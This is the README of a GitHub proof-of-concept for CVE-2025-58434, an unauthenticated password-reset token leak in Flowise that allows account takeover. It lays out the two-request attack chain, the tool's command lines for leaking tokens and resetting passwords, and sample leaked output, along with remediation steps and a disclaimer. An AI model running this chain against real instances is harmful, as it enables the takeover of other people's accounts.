kartik2005221/CVE-2025-58434-poc
GitHub: kartik2005221/CVE-2025-58434-poc
揭示 Flowise 身份认证绕过漏洞并演示从令牌泄露到账户接管的完整攻击链。
Stars: 1 | Forks: 0
# CVE-2025-58434 — Flowise 令牌泄露导致的账户接管





## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [攻击流程](#attack-flow)
- [受影响版本](#affected-versions)
- [仓库结构](#repository-structure)
- [环境要求](#requirements)
- [安装](#installation)
- [用法](#usage)
- [示例输出](#example-output)
- [修复措施](#remediation)
- [披露时间线](#disclosure-timeline)
- [参考资料](#references)
- [免责声明](#disclaimer)
## 概述
**Flowise**(包括云端和自托管版本)的 `forgot-password` 端点会在 HTTP 响应体中直接返回有效的密码重置令牌(`tempToken`)**——无需任何邮箱验证或身份验证**。
这意味着,只要攻击者知道(或能猜出)受害者的邮箱地址,就可以:
1. 调用 `forgot-password` 端点 → 在 JSON 响应中获取 `tempToken`
2. 使用 `tempToken` 调用 `reset-password` → 设置任意新密码
3. 登录受害者账户 → **完全接管账户(ATO)**
无需事先访问、无需用户交互,也无需访问目标邮箱。
## 漏洞详情
| 字段 | 值 |
|------|----|
| **CVE ID** | CVE-2025-58434 |
| **CVSS 分数** | 9.8(严重) |
| **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-640:弱密码恢复机制 |
| **类型** | 身份验证绕过 / 不安全的直接对象暴露 |
| **受影响应用** | Flowise(云端 + 自托管) |
| **端点 1** | `POST /api/v1/account/forgot-password` |
| **端点 2** | `POST /api/v1/account/reset-password` |
### 根本原因
`forgot-password` 处理程序返回了完整的用户记录(包括生成的 `tempToken`),而**本应仅通过注册邮箱发送该令牌**。
```
{
"user": {
"id": "",
"name": "Victim Name",
"email": "victim@example.com",
"credential": "",
"tempToken": "",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
```
## 攻击流程
```
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
```
## 受影响版本
- Flowise 云端(`cloud.flowiseai.com`)——已确认受影响
- 补丁发布前的所有自托管 Flowise 部署
请查阅 [官方 Flowise GitHub](https://github.com/FlowiseAI/Flowise) 获取已修复版本的发布信息。
## 仓库结构
```
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
```
## 环境要求
- Python 3.7 或更高版本
- `requests` 库
## 安装
```
# 克隆仓库
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# 安装依赖
pip install -r requirements.txt
```
## 用法
### 帮助信息
```
python3 cve_2025_58434_poc.py --help
```
### 阶段 1 —— 泄露令牌(侦察)
确认目标实例存在漏洞,并在不重置密码的情况下获取 `tempToken`。
```
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email admin@example.com
```
### 阶段 2 —— 完全账户接管
使用泄露的令牌立即重置密码。
```
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email admin@example.com \
--reset \
--new-password "MyNewP@ss2025!"
```
### 输出原始 JSON 响应
```
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email admin@example.com \
--json-output
```
### 所有选项
| 标志 | 短选项 | 描述 | 默认值 |
|------|--------|------|--------|
| `--url URL` | `-u` | Flowise 实例的基础 URL | *(必需)* |
| `--email EMAIL` | `-e` | 目标账户邮箱地址 | *(必需)* |
| `--reset` | `-r` | 执行阶段 2:使用泄露令牌重置密码 | `False` |
| `--new-password PASS` | `-p` | 要设置的新密码(与 `--reset` 一起使用) | `Changeme@2025!` |
| `--timeout SECONDS` | `-t` | HTTP 请求超时时间(秒) | `10` |
| `--json-output` | `-j` | 将原始 JSON API 响应打印到标准输出 | `False` |
## 示例输出
```
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : admin@example.com
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
```
## 修复措施
如果你是 **Flowise 实例管理员**,请立即应用以下缓解措施:
1. **永远不要在 API 响应中返回重置令牌**。令牌应仅通过注册邮箱发送。
2. **从 `forgot-password` 返回通用成功消息**——即使邮箱不存在也应如此,以防止账户枚举。
3. **强制实施令牌约束**:
- 单次使用(使用后失效)
- 短有效期(例如 15 分钟)
- 尽可能绑定请求 IP / User-Agent
4. **对所有部署模型(云端和自托管)应用修复**。
5. **为 `forgot-password` 端点添加速率限制**。
6. **记录并告警异常密码重置活动**。
7. **考虑为管理员和高权限账户启用 MFA**。
## 披露时间线
| 日期 | 事件 |
|------|------|
| 2025-08-19 | 发现漏洞并上报 |
| TBD | 厂商确认 |
| TBD | 补丁发布 |
| TBD | 公开披露 |
## 参考资料
- [GitHub Advisory GHSA-wgpv-6j63-x5ph](https://github.com/advisories/GHSA-wgpv-6j63-x5ph)
- [NVD — CVE-2025-58434](https://nvd.nist.gov/vuln/detail/CVE-2025-58434)
- [Flowise GitHub 仓库](https://github.com/FlowiseAI/Flowise)
- [CWE-640:弱密码恢复机制](https://cwe.mitre.org/data/definitions/640.html)
## 免责声明
本项目仅供 **教育目的** 和 **授权渗透测试** 使用。
- **切勿**在未获得系统所有者明确书面许可的情况下对任何系统运行本工具。
- 本仓库作者对任何误用、损害或因未经授权使用而导致的法律后果**不承担任何责任**。
- 完整的法律声明请参见 [DISCLAIMER.md](./DISCLAIMER.md)。
标签:API安全, Critical, CVE, CVSS 9.8, Flowise, JSON输出, meg, Python, Token泄露, Web安全, 信息安全, 安全漏洞, 密码重置, 密码重置令牌, 数字签名, 无后门, 未授权访问, 蓝队分析, 账号接管, 账户盗用, 身份认证绕过, 逆向工具